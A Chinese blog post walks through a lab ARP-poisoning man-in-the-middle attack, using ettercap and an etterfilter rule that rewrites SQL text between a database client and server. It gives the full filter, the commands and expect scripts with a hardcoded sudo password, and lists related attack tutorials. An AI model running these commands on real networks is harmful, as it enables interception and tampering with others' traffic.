利用ettercap进行简单的基于数据库的ARP毒化攻击

2024-05-11 10:57:21

情景：

两台主机A（IP：192.168.44.132）和B（IP：192.168.44.134）

分别作为数据库服务器和客户端。

另一主机C作为中间人进行ARP攻击。主机C上已安装ettercap并启用ip转发。

攻击内容：

在客户端和服务器建立连接后，截获客户端发给服务器的SQL语句，并修改其中字段，重新转发给服务端。然后看服务端是否能返回被修改过后的语句执行结果。

过滤文件：

过滤文件changeStr.txt内容，就是简单的将"TEST2"字段替换为"TEST1"。

if (ip.proto==TCP)
{replace("TEST2","TEST1");
}

编译过滤文件：

过滤文件需要先进行编译。编译语法实例：sudo etterfilter changeStr.txt -o changeStr.filter

这里我写了一个脚本来执行。

用于编译的脚本compile.sh的内容：

（注意：执行这个脚本需要先安装expect

安装过程我在这篇博文里面有记录：https://blog.csdn.net/shimadear/article/details/93972559）

#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo etterfilter changeStr.txt -o changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact

这里面"123456"表示root用户密码，按情况改写。

运行：

运行过程包括ettercap的启动，过滤文件的加载，运行后被攻击的两台主机发送的数据包就都按过滤文件的内容进行替换。

运行语句实例：sudo ettercap -T -q -M arp:remote /192.168.56.102// /192.168.56.105// -F changeStr.filter

同样也写了脚本来执行。run.sh内容：

#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo ettercap -T -q -M arp:remote /192.168.44.134// /192.168.44.132// -F changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact

查看结果：

在连接到的数据库实例中有表TEST1和表TEST2，TEST1记录条数为1条，TEST2记录条数为2条。

在客户端与服务器建立连接之后，中间人进行攻击之前，客户端提交SQL语句"SELECT COUNT(*) FROM TEST2;" ，正常返回结果为2。而在中间人攻击之后，再次执行语句"SELECT COUNT(*) FROM TEST2;"，可以看到返回结果为1，而这正是表TEST1的记录条数。说明攻击成功。

利用ettercap进行简单的基于数据库的ARP毒化攻击相关推荐

利用ettercap进行简单的arp欺骗和mitm攻击_codestorm_新浪博客
转自: http://www.secpulse.com/archives/6068.html 方法均来自网络,本人只是记录一下自己操作的过程,大神请无视之- 攻击主机平台:kali-linux ...
记录利用ettercap进行简单的arp欺骗和mitm攻击过程
方法均来自网络,本人只是记录一下自己操作的过程,大神请无视之- 攻击主机平台:kali-linux 被攻击主机:安卓手机192.168.1.107 (在同一局域网内) 1.利用et ...
Python 多线程入门和简单的基于多线程的流量泛洪攻击
| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识.任何由于该文章产生的消极后果与本作者无关. 多线程入门 # 多线程模块导入 import threading# ...
arp毒化攻击使用kali下ettercap工具查看其他人浏览图片信息实验
准备一台kali linux 打开终端输入命令打开非图形化ettercap ettercap -i eth0 -T -q -M arp:remote /xxx.xxx.xxx.xxx// /// ( ...
在基于数据库的任务派发系统中利用SQL Server 2005 中新的查询提示来提高系统的效率...
1.READPAST ReadPast会让SQL Server在查询数据时如果遇到数据行被锁定可以跳过继续搜索数据,从而避免了锁定. 2.UPDLOCK UPDLOCK会让SQL Server在查询数 ...
基于c语言的简单的mysql数据库操作
基于c语言的简单的mysql数据库操作最近做项目需要利用c语言对mysql进行获取数据的操作,于是我对mysql社区提供的c语言调用mysql的部分api进行了简单封装,这里做下记录,方便以后回顾. ...
springboot mysql行锁_SpringBoot基于数据库实现简单的分布式锁
本文介绍SpringBoot基于数据库实现简单的分布式锁. 1.简介分布式锁的方式有很多种,通常方案有: 基于mysql数据库基于redis 基于ZooKeeper 网上的实现方式有很多,本文主要 ...
DL之RNN：基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列随机序列)
DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列&随机序列) 目录序列数据类型&输出结果设计思路序列数据类型&输出结果 1.t ...
android sqlite 操作类封装,SQLiteUtils 一个简单的基于 Android 的 Sqlite 数据库的操作封装库 @codeKK Android开源站...
一个简单的基于 Android 的 Sqlite 数据库的操作封装,它有如下的好处: 便捷地创建表和增添表字段通过操作对象来 insert 或者 update 表记录支持多种查询方式,支持分页查询 ...

最新文章

热门文章